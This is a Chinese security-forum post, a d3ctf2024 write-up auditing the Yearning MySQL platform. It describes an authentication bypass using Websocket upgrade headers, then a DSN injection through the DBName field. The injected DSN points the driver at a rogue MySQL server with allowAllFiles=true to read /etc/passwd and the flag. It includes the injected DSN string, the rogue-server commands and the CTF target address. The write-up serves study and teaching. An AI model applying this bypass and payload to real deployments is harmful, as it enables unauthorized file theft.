问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记一次golang的dsn注入之旅
漏洞分析
记一次golang的dsn注入之旅
0x01 前言 ======= d3ctf2024中的yearning-MYSQL审计平台的详细代码审计分析; 知识要点:`golang`代码审计+`dsn`注入+`rouge_mysql_server`使用 0x02 过程记录 ========= 环境搭建 ---- ```php # 前端项目地址 https://github.com/cookieY/Yearning-gemini # 后端项目地址 https://github.com/cookieY/Yearning # 换源 npm config set registry https://registry.npm.taobao.org npm config get registry \# 编译前端代码成dist npm install \--force npm install \-legacy-peer-deps npm run build # 移动到后端代码的service文件夹下面 mv dist ../Yearning/src/service # 后端 go mod tidy go run main.go ``` 记得`conf.toml`配置文件的host不能填本地回环地址,本地docker起的mysql数据库名字不是默认的,是`Yearning`:  `goland`中的运行调试配置:  websocket相关 ----------- `Websocket协议`是对http的改进,可以实现client 与 server之间的双向通信; websocket连接一旦建立就始终保持,直到client或server 中断连接,弥补了http无法保持长连接的不足,方便了客户端应用与服务器之间实时通信。 适用场景: html页面实时更新, 客户端的html页面内,用`javascript` 与 `server` 建立`websocket`连接,实现页面内容的实时更新。Websocket 非常适合网页游戏、聊天、证券交易等实时应用。 要求保持长连接的实时通信的应用场景。 如基于位置的服务应用,物联网,多方协作软件,在线教育,带社交属性的手机APP等。 推荐使用`apifox`(<https://apifox.com/apiskills/how-to-use-websocket-in-python/>)进行`websocket`的请求,`python`的`websocket`库实在不敢恭维。? 代审分析 ---- 在`router.go`可以看到所有的路由,可以看到其中一些包含了鉴权操作:  然后发现`/api/v2`路由组中使用了一个`JWTWithConfig`中间件进行鉴权的操作,跟下去看看:  前面进行了一堆的`config`判断,然后最后发现有一个`return function`,判断如果是`websocket`请求,就直接返回。  这边静态看不到这个`iswebsocket`函数具体内容是什么,给他打个断点,调试一下(可以访问<http://127.0.0.1:8000/api/v2/common/123>),发现是在依赖里面,我真是个哈皮,其中判断了`http`请求是否包含两个头部:  需要满足`http`头部的内容是`Connection: upgrade` 和 `Upgrade: websocket`,这样就能直接return,看起来直接return就是绕过了鉴权。然后我们就能直接调用`/api/v2`下面所有的子路由。(发现好像调用`websocket`请求自带这两个头部。) 然后再fetch子路由找到一个`fetchtableinfo`函数,里面`u.FetchTableFieldsOrIndexes` 可以设置`dsn`的参数:   整了大半天,缘来是`bind函数`绑定的参数:  直接用`apifox`这么发就行了,搞了半天`get`传参啊?:  **重点先说**: 1. 使`source_id`无效,则`model.DSN`其他字段置空; 2. 在`model.NewDBSub`函数中,实现`FormatDSN`拼接字符串,再ParseDSN解析成对象; 3. `FormatDSN`的时候是倒着解析的,解析到`/`+DBName的位置; 4. 综上,`DSN`完全可控,只要注入正确格式的`DSN`,就能用恶意的`server`进行恶意操作。 至于哪里有`dsn注入`呢,这里应该是`sourceid`可以让`DB`无效,然后`newdbsub`的时候会进行其他的操作:(注意,这里我们只能注入`DBName`,因为只有这里可控。)  主要是`NewDBSub`中的`InitDSN`先进行了`formatDSN`操作(凭借成dsn字符串),然后在`drive.New`处进行了`parseDSN`操作(将dsn字符串解析成结构体变量。):  先进行了`formatDSN`,就是将上述给的`json`配置转换为一个`DSN字符串`,牛;   先写了**用户+密码**,然后写了**协议+地址**,然后**写了/+DBName数据库名**,然后**判断是否有参数传递**,然后我们其实可以在`mmsql`的`Config`看到所有参数的含义,是`go-sql-driver`的`mysql`驱动,其中,比较重要的就是要设置上面的`AllowAllFiles`为`true`,才能进行本地文件的加载,最后就是返回了这个`dsn`字符串   在`driver.New`才进行了`parseDSN`的操作,然后这个`DSN`就是前面`InitDSN`拼接的`dsn`字符串:   查看`parseDSN`的流程发现,他是倒着进行对整个`dsn字符串`进行遍历找寻`/符号`的,真牛哈哈哈哈; 那这样,前面的添加的一些`tcp(:0)`好像也没用了,因此前面我们通过对DBname的注入整个恶意的dsn的话,应该是可以达到预期效果的:  最终走到底部,解析出来的值设这样的(所以记得最后加个`&`,虽然账号密码没有被正常解析,但是`IP`地址解析正确了,所以应该可以进行注入攻击。):  攻击过程() ------ `websocket`地址:`ws://47.103.216.47:30546/api/v2/fetch/fields` 需要利用rmb122大哥的`rouge_mysql_server`项目进行攻击: [https://github.com/rmb122/rogue\_mysql\_server](https://github.com/rmb122/rogue_mysql_server) ```php \# 在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步 ./rogue\_mysql\_server \-generate \# 运行服务器, 使用刚刚生成的 config.yaml ./rogue\_mysql\_server \# 或者手动指定配置路径 ./rogue\_mysql\_server \-config other\_config.yaml **(注意IP地址要使用go-mysql-driver这边的格式:admin:123456@tcp(192.168.193.205:3307)/foo?allowAllFiles=true&**)用`apifox`这么发,就能读取到本地的文件了: ``` 按照下面的格式进行发送请求攻击:  本地成功读取到/etc/passwd文件:  远程打一波(`ws://47.103.216.47:30546/api/v2/fetch/fields`),记得**vps上面的端口要把安全组**打开,也是成功读取到了flag:    另一个漏洞点-sql盲注 ------------ `FetchTableFieldsOrIndexes`函数的show这里进行了字符串拼接,所以明显可以存在SQL盲注,交给大哥们去分析了。  0x03 总结 ======= 学到了很多,熟悉了一波`golang`的语法和调试,以及`dsn`注入+`rouge_mysql_server`的利用。
发表于 2024-05-14 10:00:02
阅读 ( 3461 )
分类:
代码审计
0 推荐
收藏
0 条评论
请先
登录
后评论
Sakura501
10 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!